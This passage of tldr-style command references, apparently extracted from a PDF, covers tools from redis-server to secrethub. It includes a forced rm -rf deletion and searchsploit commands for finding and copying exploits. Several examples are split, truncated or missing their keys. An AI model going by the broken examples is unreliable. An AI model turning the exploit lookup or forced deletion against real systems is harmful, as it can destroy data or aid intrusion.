• Start Redis server, using the default port (6379), and write logs to stdout:

redis-server

• Start Redis server, using the default port, as a background process:

redis-server --daemonize yes

• Start Redis server, using the specified port, as a background process:

redis-server --port {{port}} --daemonize yes

• Start Redis server with a custom configuration file:

redis-server {{path/to/redis.conf}}

• Start Redis server with verbose logging:

redis-server --loglevel {{warning|notice|verbose|debug}}


redshift
Adjust the color temperature of your screen according to your surroundings.

More information: http://jonls.dk/redshift.

• Turn on Redshift with 5700K temperature during day and 3600K at night:

redshift -t {{5700}}:{{3600}}

• Turn on Redshift with a manually specified custom location:

redshift -l {{latitude}}:{{longitude}}

• Turn on Redshift with 70% screen brightness during day and 40% brightness at
night:

redshift -b {{0.7}}:{{0.4}}

• Turn on Redshift with custom gamma levels (between 0 and 1):

redshift -g {{red}}:{{green}}:{{blue}}

• Turn on Redshift with a constant unchanging color temperature:

redshift -O {{temperature}}
reflac
Recompress FLAC files in-place while preserving metadata.

More information: https://github.com/chungy/reflac.

• Recompress a directory of FLAC files:

reflac {{path/to/directory}}

• Enable maximum compression (very slow):

reflac --best {{path/to/directory}}

• Display filenames as they are processed:

reflac --verbose {{path/to/directory}}

• Recurse into subdirectories:

reflac --recursive {{path/to/directory}}

• Preserve file modification times:

reflac --preserve {{path/to/directory}}


reflex
Tool to watch a directory and rerun a command when certain files change.

More information: https://github.com/cespare/reflex.

• Rebuild with make if any file changes:

reflex make

• Compile and run Go application if any .go file changes:

reflex --regex='{{\.go$}}' {{go run .}}

• Ignore a directory when watching for changes:

reflex --inverse-regex='{{^dir/}}' {{command}}

• Run command when reflex starts and restarts on file changes:

reflex --start-service=true {{command}}

• Substitute the filename that changed in:

reflex -- echo {}
rekor-cli
Immutable tamper resistant ledger of metadata generated within a software projects
supply chain.

More information: https://github.com/sigstore/rekor.

• Upload an artifact to Rekor:

rekor-cli upload --artifact {{path/to/file.ext}} --signature


{{path/to/file.ext.sig}} --pki-format={{x509}} --public-
key={{path/to/key.pub}}

• Get information regarding entries in the Transparency Log:

rekor-cli get --
uuid={{0e81b4d9299e2609e45b5c453a4c0e7820ac74e02c4935a8b830d104632fd2d

• Search the Rekor index to find entries by Artifact:

rekor-cli search --artifact {{path/to/file.ext}}

• Search the Rekor index to find entries by a specific hash:

rekor-cli search --sha


{{6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b}}
renice
Alters the scheduling priority/nicenesses of one or more running processes.

Niceness values range from -20 (most favorable to the process) to 19 (least favorable to
the process).

More information: https://manned.org/renice.

• Change priority of a running process:

renice -n {{niceness_value}} -p {{pid}}

• Change priority of all processes owned by a user:

renice -n {{niceness_value}} -u {{user}}

• Change priority of all processes that belong to a process group:

renice -n {{niceness_value}} --pgrp {{process_group}}


repren
Multi-pattern string replacement and file renaming tool.

More information: https://github.com/jlevy/repren.

• Do a dry-run renaming a directory of PNGs with a literal string replacement:

repren --dry-run --rename --literal --from '{{find_string}}'


--to '{{replacement_string}}' {{*.png}}

• Do a dry-run renaming a directory of JPEGs with a regular expression:

repren --rename --dry-run --from '{{regular_expression}}' --


to '{{replacement_string}}' {{*.jpg}} {{*.jpeg}}

• Do a find-and-replace on the contents of a directory of CSV files:

repren --from '{{([0-9]+) example_string}}' --to


'{{replacement_string \1}}' {{*.csv}}

• Do both a find-and-replace and a rename operation at the same time, using a


pattern file:

repren --patterns {{path/to/patfile.ext}} --full {{*.txt}}

• Do a case-insensitive rename:

repren --rename --insensitive --patterns {{path/to/


patfile.ext}} *
restic
A backup program that aims to be fast, secure and efficient.

More information: https://restic.net.

• Initialize a backup repository in the specified local directory:

restic init --repo {{path/to/repository}}

• Backup a directory to the repository:

restic --repo {{path/to/repository}} backup {{path/to/


directory}}

• Show backup snapshots currently stored in the repository:

restic --repo {{path/to/repository}} snapshots

• Restore a specific backup snapshot to a target directory:

restic --repo {{path/to/repository}} restore {{latest|


snapshot_id}} --target {{path/to/target}}

• Restore a specific path from a specific backup to a target directory:

restic --repo {{path/to/repository}} restore {{snapshot_id}}


--target {{path/to/target}} --include {{path/to/restore}}

• Clean up the repository and keep only the most recent snapshot of each unique
backup:

restic forget --keep-last 1 --prune


resume
CLI tool to easily setup a new resume.

More information: https://github.com/jsonresume/resume-cli.

• Create a new resume.json file in the current working directory:

resume init

• Validate a resume.json against schema tests to ensure it complies with the


standard:

resume validate

• Export a resume locally in a stylized HTML or PDF format:

resume export {{path/to/html_or_pdf}}

• Start a web server that serves a local resume.json:

resume serve
rev
Reverse a line of text.

More information: https://manned.org/rev.

• Reverse the text string "hello":

echo "hello" | rev

• Reverse an entire file and print to stdout:

rev {{file}}
rg
Ripgrep is a recursive line-oriented CLI search tool.

Aims to be a faster alternative to grep.

More information: https://github.com/BurntSushi/ripgrep.

• Recursively search the current directory for a regular expression:

rg {{regular_expression}}

• Search for regular expressions recursively in the current directory, including


hidden files and files listed in .gitignore:

rg --no-ignore --hidden {{regular_expression}}

• Search for a regular expression only in a certain filetype (e.g. HTML, CSS, etc.):

rg --type {{filetype}} {{regular_expression}}

• Search for a regular expression only in a subset of directories:

rg {{regular_expression}} {{set_of_subdirs}}

• Search for a regular expression in files matching a glob (e.g. README.*):

rg {{regular_expression}} --glob {{glob}}

• Only list matched files (useful when piping to other commands):

rg --files-with-matches {{regular_expression}}

• Show lines that do not match the given regular expression:

rg --invert-match {{regular_expression}}

• Search a literal string pattern:

rg --fixed-strings -- {{string}}
rm
Remove files or directories.

More information: https://www.gnu.org/software/coreutils/rm.

• Remove files from arbitrary locations:

rm {{path/to/file}} {{path/to/another/file}}

• Recursively remove a directory and all its subdirectories:

rm -r {{path/to/directory}}

• Forcibly remove a directory, without prompting for confirmation or showing error


messages:

rm -rf {{path/to/directory}}

• Interactively remove multiple files, with a prompt before every removal:

rm -i {{file(s)}}

• Remove files in verbose mode, printing a message for each removed file:

rm -v {{path/to/directory/*}}
rmdir
Removes a directory.

More information: https://www.gnu.org/software/coreutils/rmdir.

• Remove directory, provided it is empty. Use rm -r to remove non-empty


directories:

rmdir {{path/to/directory}}

• Remove the target and its parent directories (useful for nested dirs):

rmdir -p {{path/to/directory}}
roave-backward-compatibility-check
A tool that can be used to verify backward compatibility breaks between two versions of
a PHP library.

More information: https://github.com/Roave/BackwardCompatibilityCheck.

• Check for breaking changes since the last tag:

roave-backward-compatibility-check

• Check for breaking changes since a specific tag:

roave-backward-compatibility-check --from={{git_reference}}

• Check for breaking changes between the last tag and a specific reference:

roave-backward-compatibility-check --to={{git_reference}}

• Check for breaking changes and output to Markdown:

roave-backward-compatibility-check --format=markdown >


{{results.md}}
robo
PHP task runner.

More information: https://robo.li/.

• List available commands:

robo list

• Run a specific command:

robo {{foo}}

• Simulate running a specific command:

robo --simulate {{foo}}


roll
Rolls a user-defined dice sequence.

More information: https://manned.org/roll.

• Roll 3 6-sided dice and sums the results:

roll {{3d}}

• Roll 1 8-sided die, add 3 and sum the results:

roll {{d8 + 3}}

• Roll 4 6-sided dice, keep the 3 highest results and sum the results:

roll {{4d6h3}}

• Roll 2 12-sided dice 2 times and show every roll:

roll --verbose {{2{2d12}}}

• Roll 2 20-sided dice until the result is bigger than 10:

roll "{{2d20>10}}"

• Roll 2 5-sided dice 3 times and show the total sum:

roll --sum-series {{3{2d5}}}


route
Use route cmd to set the route table.

More information: https://manned.org/route.

• Display the information of route table:

route -n

• Add route rule:

sudo route add -net {{ip_address}} netmask


{{netmask_address}} gw {{gw_address}}

• Delete route rule:

sudo route del -net {{ip_address}} netmask


{{netmask_address}} dev {{gw_address}}
rr
Debugging tool designed to record and replay program execution.

More information: https://rr-project.org/.

• Record an application:

rr record {{path/to/binary --arg1 --arg2}}

• Replay latest recorded execution:

rr replay
Rscript
Run a script with the R programming language.

More information: https://www.r-project.org.

• Run a script:

Rscript {{path/to/file.R}}

• Run a script in vanilla mode (i.e. a blank session that doesn't save the workspace at
the end):

Rscript --vanilla {{path/to/file.R}}

• Execute one or more R expressions:

Rscript -e {{expression1}} -e {{expression2}}

• Display R version:

Rscript --version
rspec
Behavior-driven development testing framework written in Ruby to test Ruby code.

More information: https://rspec.info.

• Initialise an .rspec config and a spec helper file:

rspec --init

• Run all tests:

rspec

• Run a specific directory of tests:

rspec {{path/to/directory}}

• Run a specific test file:

rspec {{path/to/file}}

• Run multiple test files:

rspec {{path/to/file1}} {{path/to/file2}}

• Run a specific test in a file (e.g. the test starts on line 83):

rspec {{path/to/file}}:{{83}}

• Run specs with a specific seed:

rspec --seed {{seed_number}}


rsstail
tail for RSS feeds.

More information: https://github.com/gvalkov/rsstail.py.

• Show the feed of a given URL and wait for new entries appearing at the bottom:

rsstail -u {{url}}

• Show the feed in reverse chronological order (newer at the bottom):

rsstail -r -u {{url}}

• Include publication date and link:

rsstail -pl -u {{url}}

• Set update interval:

rsstail -u {{url}} -i {{interval_in_seconds}}

• Show feed and exit:

rsstail -1 -u {{url}}
rsync
Transfer files either to or from a remote host (not between two remote hosts).

Can transfer single files, or multiple files matching a pattern.

More information: https://manned.org/rsync.

• Transfer file from local to remote host:

rsync {{path/to/local_file}} {{remote_host}}:{{path/to/


remote_directory}}

• Transfer file from remote host to local:

rsync {{remote_host}}:{{path/to/remote_file}} {{path/to/


local_directory}}

• Transfer file in [a]rchive (to preserve attributes) and compressed ([z]ipped) mode
with [v]erbose and [h]uman-readable [P]rogress:

rsync -azvhP {{path/to/local_file}} {{remote_host}}:{{path/


to/remote_directory}}

• Transfer a directory and all its children from a remote to local:

rsync -r {{remote_host}}:{{path/to/remote_directory}} {{path/


to/local_directory}}

• Transfer directory contents (but not the directory itself) from a remote to local:

rsync -r {{remote_host}}:{{path/to/remote_directory}}/
{{path/to/local_directory}}

• Transfer a directory [r]ecursively, in [a]rchive to preserve attributes, resolving


contained soft[l]inks , and ignoring already transferred files [u]nless newer:

rsync -rauL {{remote_host}}:{{path/to/remote_file}} {{path/


to/local_directory}}

• Transfer file over SSH and delete remote files that do not exist locally:

rsync -e ssh --delete {{remote_host}}:{{path/to/remote_file}}


{{path/to/local_file}}

• Transfer file over SSH using a different port than the default and show global
progress:
rsync -e 'ssh -p {{port}}' --info=progress2 {{remote_host}}:
{{path/to/remote_file}} {{path/to/local_file}}
rtl_sdr
Raw data recorder for RTL-SDR receivers.

Data is encoded using I/Q sampling (aka quadrature sampling).

More information: https://osmocom.org/projects/rtl-sdr/wiki/Rtl-sdr.

• Save RAW data from a frequency (specified in Hz) to a file:

rtl_sdr -f {{100000000}} {{path/to/file}}

• Pipe data to another program:

rtl_sdr -f {{100000000}} - | {{aplay}}

• Read a specified number of samples:

rtl_sdr -f {{100000000}} -n {{20}} -

• Specify the sample rate in Hz (ranges 225001-300000 and 900001-3200000):

rtl_sdr -f {{100000000}} -s {{2400000}} -

• Specify the device by its index:

rtl_sdr -f {{100000000}} -d {{0}} -

• Specify the gain:

rtl_sdr -f {{100000000}} -g {{20}} -

• Specify the output block size:

rtl_sdr -f {{100000000}} -b {{9999999}} -

• Use synchronous output:

rtl_sdr -f {{100000000}} -S -
rtmpdump
A tool to dump media content streamed over the RTMP protocol.

More information: http://rtmpdump.mplayerhq.hu/.

• Download a file:

rtmpdump --rtmp {{rtmp://example.com/path/to/video}} -o


{{file.ext}}

• Download a file from a Flash player:

rtmpdump --rtmp {{rtmp://example.com/path/to/video}} --swfVfy


{{http://example.com/player}} --flashVer "{{LNX 10,0,32,18}}"
-o {{file.ext}}

• Specify connection parameters if they are not detected correctly:

rtmpdump --rtmp {{rtmp://example.com/path/to/video}} --app


{{app_name}} --playpath {{path/to/video}} -o {{file.ext}}

• Download a file from a server that requires a referrer:

rtmpdump --rtmp {{rtmp://example.com/path/to/video}} --


pageUrl {{http://example.com/webpage}} -o {{file.ext}}
rtv
Reddit Terminal Viewer.

Use arrow keys to navigate. Right and Left to view and return from a submission,
respectively.

More information: https://github.com/michael-lazar/rtv.

• Open the front page:

/front

• Open a subreddit:

/r/{{subreddit_name}}

• Expand/collapse comments:

[space]

• Open link:

• Log in:

• Open the help screen:

?
ruby
Ruby programming language interpreter.

More information: https://www.ruby-lang.org.

• Start a REPL (interactive shell):

irb

• Execute a Ruby script:

ruby {{script.rb}}

• Execute a single Ruby command in the command-line:

ruby -e {{command}}

• Check for syntax errors on a given Ruby script:

ruby -c {{script.rb}}

• Show the version of Ruby you are using:

ruby -v
runit
3-stage init system.

More information: https://wiki.archlinux.org/index.php/Runit.

• Start runit's 3-stage init scheme:

runit

• Shut down runit:

kill --CONT {{runit_pid}}


runsv
Start and manage a runit service.

More information: https://manpages.ubuntu.com/manpages/latest/man8/runsv.8.html.

• Start a runit service as the current user:

runsv {{path/to/service}}

• Start a runit service as root:

sudo runsv {{path/to/service}}


runsvchdir
Change the directory runsvdir uses by default.

More information: https://manpages.ubuntu.com/manpages/latest/man8/runsvchdir.


8.html.

• Switch runsvdir directories:

sudo runsvchdir {{path/to/directory}}


runsvdir
Run an entire directory of services.

More information: https://manpages.ubuntu.com/manpages/latest/man8/runsvdir.


8.html.

• Start and manage all services in a directory as the current user:

runsvdir {{path/to/services}}

• Start and manage all services in a directory as root:

sudo runsvdir {{path/to/services}}

• Start services in separate sessions:

runsvdir -P {{path/to/services}}
rustc
The Rust compiler.

Processes, compiles and links Rust language source files.

More information: https://doc.rust-lang.org/rustc.

• Compile a single file:

rustc {{file.rs}}

• Compile with high optimization:

rustc -O {{file.rs}}

• Compile with debugging information:

rustc -g {{file.rs}}

• Compile with architecture-specific optimizations for the current CPU:

rustc -C target-cpu=native {{path/to/file.rs}}

• Display architecture-specific optimizations for the current CPU:

rustc -C target-cpu=native --print cfg

• Display target list:

rustc --print target-list

• Compile for a specific target:

rustc --target {{target_triple}} {{path/to/file.rs}}


rustfmt
Tool for formatting Rust source code.

More information: https://github.com/rust-lang/rustfmt.

• Format a file, overwriting the original file in-place:

rustfmt {{source.rs}}

• Check a file for formatting and display any changes on the console:

rustfmt --check {{source.rs}}

• Backup any modified files before formatting (the original file is renamed with a
.bk extension):

rustfmt --backup {{source.rs}}


rustup
Rust toolchain installer.

Install, manage, and update Rust toolchains.

More information: https://github.com/rust-lang/rustup.rs.

• Install the nightly toolchain for your system:

rustup install nightly

• Switch the default toolchain to nightly so that the cargo and rustc commands
will use it:

rustup default nightly

• Use the nightly toolchain when inside the current project, but leave global settings
unchanged:

rustup override set nightly

• Update all toolchains:

rustup update

• List installed toolchains:

rustup show

• Run cargo build with a certain toolchain:

rustup run {{toolchain_name}} cargo build

• Open the local rust documentation in the default web browser:

rustup doc
rvm
A tool for easily installing, managing, and working with multiple ruby environments.

More information: https://rvm.io.

• Install one or more space-separated versions of Ruby:

rvm install {{version(s)}}

• Display a list of installed versions:

rvm list

• Use a specific version of Ruby:

rvm use {{version}}

• Set the default Ruby version:

rvm --default use {{version}}

• Upgrade a version of Ruby to a new version:

rvm upgrade {{current_version}} {{new_version}}

• Uninstall a version of Ruby and keep its sources:

rvm uninstall {{version}}

• Remove a version of Ruby and its sources:

rvm remove {{version}}

• Show specific dependencies for your OS:

rvm requirements
s
Web search from the terminal.

More information: https://github.com/zquestz/s.

• Search for a query on Google (default provider):

s {{query}}

• List all providers:

s --list-providers

• Search for a query with a given provider:

s --provider {{provider}} {{query}}

• Use a specified binary to perform the search query:

s --binary "{{binary}} {{arguments}}" {{query}}


safe
A CLI to interact with HashiCorp Vault.

More information: https://github.com/starkandwayne/safe.

• Add a safe target:

safe target {{vault_addr}} {{target_name}}

• Authenticate the CLI client against the Vault server, using an authentication
token:

safe auth {{authentication_token}}

• Print the environment variables describing the current target:

safe env

• Display a tree hierarchy of all reachable keys for a given path:

safe tree {{path}}

• Move a secret from one path to another:

safe move {{old/path/to/secret}} {{new/path/to/secret}}

• Generate a new 2048-bit SSH key-pair and store it:

safe ssh {{2048}} {{path/to/secret}}

• Set non-sensitive keys for a secret:

safe set {{path/to/secret}} {{key}}={{value}}

• Set auto-generated password in a secret:

safe gen {{path/to/secret}} {{key}}


sails
Sails.js is a realtime enterprise level MVC framework built on top of Node.js.

More information: https://sailsjs.com.

• Start Sails:

sails lift

• Create new Sails project:

sails new {{projectName}}

• Generate Sails API:

sails generate {{name}}

• Generate Sails Controller:

sails generate controller {{name}}

• Generate Sails Model:

sails generate model {{name}}


salt-call
Invoke salt locally on a salt minion.

More information: https://docs.saltstack.com/ref/cli/salt-call.html.

• Perform a highstate on this minion:

salt-call state.highstate

• Perform a highstate dry-run, compute all changes but don't actually perform
them:

salt-call state.highstate test=true

• Perform a highstate with verbose debugging output:

salt-call -l debug state.highstate

• List this minion's grains:

salt-call grains.items
salt-key
Manages salt minion keys on the salt master.

Needs to be run on the salt master, likely as root or with sudo.

More information: https://docs.saltstack.com/ref/cli/salt-key.html.

• List all accepted, unaccepted and rejected minion keys:

salt-key -L

• Accept a minion key by name:

salt-key -a {{MINION_ID}}

• Reject a minion key by name:

salt-key -r {{MINION_ID}}

• Print fingerprints of all public keys:

salt-key -F
salt-run
Frontend for executing salt-runners on minions.

More information: https://docs.saltstack.com/ref/cli/salt-run.html.

• Show status of all minions:

salt-run manage.status

• Show all minions which are disconnected:

salt-run manage.up
salt
Execute commands and assert state on remote salt minions.

More information: https://docs.saltstack.com/ref/cli/salt.html.

• List connected minions:

salt '*' test.ping

• Execute a highstate on all connected minions:

salt '*' state.highstate

• Upgrade packages using the OS package manager (apt, yum, brew) on a subset of
minions:

salt '*.example.com' pkg.upgrade

• Execute an arbitrary command on a particular minion:

salt '{{minion_id}}' cmd.run "ls "


samtools
Tools for handling high-throughput sequencing (genomics) data.

Used for reading/writing/editing/indexing/viewing of data in SAM/BAM/CRAM format.

More information: https://www.htslib.org.

• Convert a SAM input file to BAM stream and save to file:

samtools view -S -b {{input.sam}} > {{output.bam}}

• Take input from stdin (-) and print the SAM header and any reads overlapping a
specific region to stdout:

{{other_command}} | samtools view -h - chromosome:start-end

• Sort file and save to BAM (the output format is automatically determined from the
output file's extension):

samtools sort {{input}} -o {{output.bam}}

• Index a sorted BAM file (creates {{sorted_input.bam.bai}}):

samtools index {{sorted_input.bam}}

• Print alignment statistics about a file:

samtools flagstat {{sorted_input}}

• Count alignments to each index (chromosome / contig):

samtools idxstats {{sorted_indexed_input}}

• Merge multiple files:

samtools merge {{output}} {{input1 input2 …}}

• Split input file according to read groups:

samtools split {{merged_input}}


sass
Converts SCSS or Sass files to CSS.

More information: https://sass-lang.com/documentation/cli/dart-sass.

• Convert a SCSS or Sass file to CSS and print out the result:

sass {{inputfile.scss|inputfile.sass}}

• Convert a SCSS or Sass file to CSS and save the result to a file:

sass {{inputfile.scss|inputfile.sass}} {{outputfile.css}}

• Watch a SCSS or Sass file for changes and output or update the CSS file with same
filename:

sass --watch {{inputfile.scss|inputfile.sass}}

• Watch a SCSS or Sass file for changes and output or update the CSS file with the
given filename:

sass --watch {{inputfile.scss|inputfile.sass}}:


{{outputfile.css}}
satis
The command-line utility for the Satis static Composer repository.

More information: https://github.com/composer/satis.

• Initialise a Satis configuration:

satis init {{satis.json}}

• Add a VCS repository to the Satis configuration:

satis add {{repository_url}}

• Build the static output from the configuration:

satis build {{satis.json}} {{path/to/output_directory}}

• Build the static output by updating only the specified repository:

satis build --repository-url {{repository_url}}


{{satis.json}} {{path/to/output_directory}}

• Remove useless archive files:

satis purge {{satis.json}} {{path/to/output_directory}}


sbcl
High performance Common Lisp compiler.

More information: http://www.sbcl.org/.

• Start a REPL (interactive shell):

sbcl

• Execute a Lisp script:

sbcl --script {{path/to/script.lisp}}


sbt
Build tool for Scala and Java projects.

More information: https://www.scala-sbt.org/1.x/docs/.

• Start a REPL (interactive shell):

sbt

• Create a new Scala project from an existing Giter8 template hosted on GitHub:

sbt new {{scala/hello-world.g8}}

• Compile and run all tests:

sbt test

• Delete all generated files in the target directory:

sbt clean

• Compile the main sources in src/main/scala and src/main/java directories:

sbt compile

• Use the specified version of sbt:

sbt -sbt-version {{version}}

• Use a specific jar file as the sbt launcher:

sbt -sbt-jar {{path}}

• List all sbt options:

sbt -h
SC-IM
A curses based, vim-like spreadsheet calculator.

Use hjkl or arrow keys to navigate.

More information: https://github.com/andmarti1424/sc-im.

• Start SC-IM:

scim {{filename}}.csv

• Enter a string into the current cell:

< or >

• Enter a numeric constant into the current cell:

• Edit string in the current cell:

• Edit number in the current cell:

• Center align the current cell:

|
scala
Scala application launcher and interactive interpreter.

More information: https://scala-lang.org.

• Start a REPL (interactive shell):

scala

• Start the interpreter with a dependency in the classpath:

scala -classpath {{filename.jar}} {{command}}

• Execute a Scala script:

scala {{script.scala}}

• Execute a .jar program:

scala {{filename.jar}}

• Execute a single Scala command in the command-line:

scala -e {{command}}
scalafmt
Code formatter for Scala.

Configurations are stored in the .scalafmt.conf file.

More information: https://scalameta.org/scalafmt.

• Reformat all .scala files in the current directory recursively:

scalafmt

• Reformat specific files or directories with a custom formatting configuration:

scalafmt --config {{path/to/.scalafmt.conf}} {{path/to/


file_or_directory}} {{path/to/file_or_directory}} {{...}}

• Check if files are correctly formatted, returning 0 if all files respect the formatting
style:

scalafmt --config {{path/to/.scalafmt.conf}} --test

• Exclude files or directories:

scalafmt --exclude {{path/to/file_or_directory}} {{...}}

• Format only files that were edited against the current Git branch:

scalafmt --config {{path/to/.scalafmt.conf}} --mode diff


scan-build
Command-line utility to run a static analyzer over a codebase as part of performing a
regular build.

More information: https://clang-analyzer.llvm.org/scan-build.html.

• Build and analyze the project in the current directory:

scan-build {{make}}

• Run a command and pass all subsequent options to it:

scan-build {{command}} {{command_arguments}}

• Display help:

scan-build
scc
Tool written in Go that counts lines of code.

More information: https://github.com/boyter/scc.

• Print lines of code in the current directory:

scc

• Print lines of code in the target directory:

scc {{path/to/directory}}

• Display output for every file:

scc --by-file

• Display output using a specific output format (defaults to tabular):

scc --format {{tabular|wide|json|csv|cloc-yaml|html|html-


table}}

• Only count files with specific file extensions:

scc --include-ext {{go, java, js}}

• Exclude directories from being counted:

scc --exclude-dir {{.git,.hg}}

• Display output and sort by column (defaults to by files):

scc --sort {{files|name|lines|blanks|code|comments|


complexity}}

• Print help for scc:

scc -h
sccmap
Extract strongly connected components of directed graphs.

Graphviz filters: acyclic, bcomps, comps, edgepaint, gvcolor, gvpack, mingle,


nop, sccmap, tred, & unflatten.

More information: https://www.graphviz.org/pdf/sccmap.1.pdf.

• Extract strongly connected components of one or more directed graphs:

sccmap -S {{path/to/input1.gv}} {{path/to/input2.gv ...}} >


{{path/to/output.gv}}

• Print statistics about a graph, producing no output graph:

sccmap -v -s {{path/to/input1.gv}} {{path/to/input2.gv ...}}

• Display help for sccmap:

sccmap -?
scheme
MIT Scheme language interpreter and REPL (interactive shell).

More information: https://www.gnu.org/software/mit-scheme.

• Start a REPL (interactive shell):

scheme

• Run a scheme program (with no REPL output):

scheme --quiet < {{script.scm}}

• Load a scheme program into the REPL:

scheme --load {{script.scm}}

• Load scheme expressions into the REPL:

scheme --eval "{{(define foo 'x)}}"

• Open the REPL in quiet mode:

scheme --quiet
scp
Secure copy.

Copy files between hosts using Secure Copy Protocol over SSH.

More information: https://man.openbsd.org/scp.

• Copy a local file to a remote host:

scp {{path/to/local_file}} {{remote_host}}:{{path/to/


remote_file}}

• Use a specific port when connecting to the remote host:

scp -P {{port}} {{path/to/local_file}} {{remote_host}}:


{{path/to/remote_file}}

• Copy a file from a remote host to a local directory:

scp {{remote_host}}:{{path/to/remote_file}} {{path/to/


local_directory}}

• Recursively copy the contents of a directory from a remote host to a local


directory:

scp -r {{remote_host}}:{{path/to/remote_directory}} {{path/


to/local_directory}}

• Copy a file between two remote hosts transferring through the local host:

scp -3 {{host1}}:{{path/to/remote_file}} {{host2}}:{{path/to/


remote_directory}}

• Use a specific username when connecting to the remote host:

scp {{path/to/local_file}} {{remote_username}}


@{{remote_host}}:{{path/to/remote_directory}}

• Use a specific ssh private key for authentication with the remote host:

scp -i {{~/.ssh/private_key}} {{local_file}} {{remote_host}}:


{{/path/remote_file}}
scrapy
Web-crawling framework.

More information: https://scrapy.org.

• Create a project:

scrapy startproject {{project_name}}

• Create a spider (in project directory):

scrapy genspider {{spider_name}} {{website_domain}}

• Edit spider (in project directory):

scrapy edit {{spider_name}}

• Run spider (in project directory):

scrapy crawl {{spider_name}}

• Fetch a webpage as Scrapy sees it and print the source to stdout:

scrapy fetch {{url}}

• Open a webpage in the default browser as Scrapy sees it (disable JavaScript for
extra fidelity):

scrapy view {{url}}

• Open Scrapy shell for URL, which allows interaction with the page source in a
Python shell (or IPython if available):

scrapy shell {{url}}


scrcpy
Display and control your Android device on a desktop.

More information: https://github.com/Genymobile/scrcpy.

• Display a mirror of a connected device:

scrcpy

• Display a mirror of a specific device based on its ID or IP address (find it under the
adb devices command):

scrcpy --serial {{0123456789abcdef|192.168.0.1:5555}}

• Start display in fullscreen mode:

scrcpy --fullscreen

• Rotate the display screen. Each incremental value adds a 90 degree


counterclockwise rotation:

scrcpy --rotation {{0|1|2|3}}

• Show touches on physical device:

scrcpy --show-touches

• Record display screen:

scrcpy --record {{path/to/file.mp4}}

• Set target directory for pushing files to device by drag and drop (non-APK):

scrcpy --push-target {{path/to/directory}}


screen
Hold a session open on a remote server. Manage multiple windows with a single SSH
connection.

See also tmux and zellij.

More information: https://manned.org/screen.

• Start a new screen session:

screen

• Start a new named screen session:

screen -S {{session_name}}

• Start a new daemon and log the output to screenlog.x:

screen -dmLS {{session_name}} {{command}}

• Show open screen sessions:

screen -ls

• Reattach to an open screen:

screen -r {{session_name}}

• Detach from inside a screen:

Ctrl + A, D

• Kill the current screen session:

Ctrl + A, K

• Kill a detached screen:

screen -X -S {{session_name}} quit


screenfetch
Display system information.

More information: https://github.com/KittyKatt/screenFetch.

• Start screenfetch:

screenfetch

• Take a screenshot (requires 'scrot'):

screenfetch -s

• Specify distribution logo:

screenfetch -A '{{distribution_name}}'

• Specify distribution logo and text:

screenfetch -D '{{distribution_name}}'

• Strip all color:

screenfetch -N
script
Make a typescript file of a terminal session.

More information: https://manned.org/script.

• Start recording in file named "typescript":

script

• Stop recording:

exit

• Start recording in a given file:

script {{logfile.log}}

• Append to an existing file:

script -a {{logfile.log}}

• Execute quietly without start and done messages:

script -q {{logfile.log}}
sd
Intuitive find & replace CLI.

More information: https://github.com/chmln/sd.

• Trim some whitespace using a regular expression:

{{echo 'lorem ipsum 23 '}} | sd '\s+$' ''

• Replace words using capture groups:

{{echo 'cargo +nightly watch'}} | sd '(\w+)\s+\+(\w+)\s+


(\w+)' 'cmd: $1, channel: $2, subcmd: $3'

• Find and replace in a file printing the result to stdout:

sd -p {{'window.fetch'}} {{'fetch'}} {{http.js}}

• Find and replace across a project changing each file in place:

sd {{'from "react"'}} {{'from "preact"'}} $(find . -type f)


sdcv
StarDict, a command-line dictionary client.

Dictionaries are provided separately from the client.

More information: https://manned.org/sdcv.

• Start sdcv interactively:

sdcv

• List installed dictionaries:

sdcv --list-dicts

• Display a definition from a specific dictionary:

sdcv --use-dict {{dictionary_name}} {{search_term}}

• Look up a definition with a fuzzy search:

sdcv {{search_term}}

• Look up a definition with an exact search:

sdcv --exact-search {{search_term}}

• Look up a definition and format the output as JSON:

sdcv --json {{search_term}}

• Search for dictionaries in a specific directory:

sdcv --data-dir {{path/to/directory}} {{search_term}}


sdiff
Compare the differences between and optionally merge 2 files.

More information: https://manned.org/sdiff.

• Compare 2 files:

sdiff {{path/to/file1}} {{path/to/file2}}

• Compare 2 files, ignoring all tabs and whitespace:

sdiff -W {{path/to/file1}} {{path/to/file2}}

• Compare 2 files, ignoring whitespace at the end of lines:

sdiff -Z {{path/to/file1}} {{path/to/file2}}

• Compare 2 files in a case-insensitive manner:

sdiff -i {{path/to/file1}} {{path/to/file2}}

• Compare and then merge, writing the output to a new file:

sdiff -o {{path/to/merged_file}} {{path/to/file1}} {{path/to/


file2}}
sdk
Tool for managing parallel versions of multiple Software Development Kits.

Supports Java, Groovy, Scala, Kotlin, Gradle, Maven, Vert.x and many others.

More information: https://sdkman.io/usage.

• Install a specific version of Gradle:

sdk install {{gradle}} {{gradle_version}}

• Switch to a specific version of Gradle:

sdk use {{gradle}} {{gradle_version}}

• Check current Gradle version:

sdk current {{gradle}}

• List all Software Development Kits available to install:

sdk list

• List all available versions for a specific Software Development Kit:

sdk list {{sdk_name}}

• List all installed Software Development Kits:

sdk current

• Update Gradle to the latest version:

sdk upgrade {{gradle}}

• Uninstall a particular version of Gradle:

sdk rm {{gradle}} {{gradle_version}}


sdkmanager
Tool to install packages for the Android SDK.

More information: https://developer.android.com/studio/command-line/sdkmanager.

• List available packages:

sdkmanager --list

• Install a package:

sdkmanager {{package}}

• Update every installed package:

sdkmanager --update

• Uninstall a package:

sdkmanager --uninstall {{package}}


searchsploit
Searchsploit searches exploit database's database for exploits, shellcodes and/or papers.

If known version numbers are used as search terms, exploits for both the exact version
and others whose version range covers the one specified are shown.

More information: https://www.exploit-db.com/searchsploit.

• Search for an exploit, shellcode, or paper:

searchsploit {{search_terms}}

• Search for a known specific version, e.g. sudo version 1.8.27:

searchsploit sudo 1.8.27

• Show the exploit-db link to the found resources:

searchsploit --www {{search_terms}}

• Make a copy of the resource to the current directory (requires the number of the
exploit):

searchsploit --mirror {{exploit_number}}

• Open the resource to read with the pager defined in the $PAGER environment
variable:

searchsploit --explore {{exploit_number}}

• Update the local exploit database:

searchsploit --update
secrethub
A tool to keep secrets out of config files.

More information: https://secrethub.io.

• Print a secret to stdout:

secrethub read {{path/to/secret}}

• Generate a random value and store it as a new or updated secret:

secrethub generate {{path/to/secret}}

• Store a value from the clipboard as a new or updated secret:

secrethub write --clip {{path/to/secret}}

• Store a value supplied on stdin as a new or updated secret:

echo "{{secret_value}}" | secrethub write {{path/to/secret}}

• Audit a repository or secret:

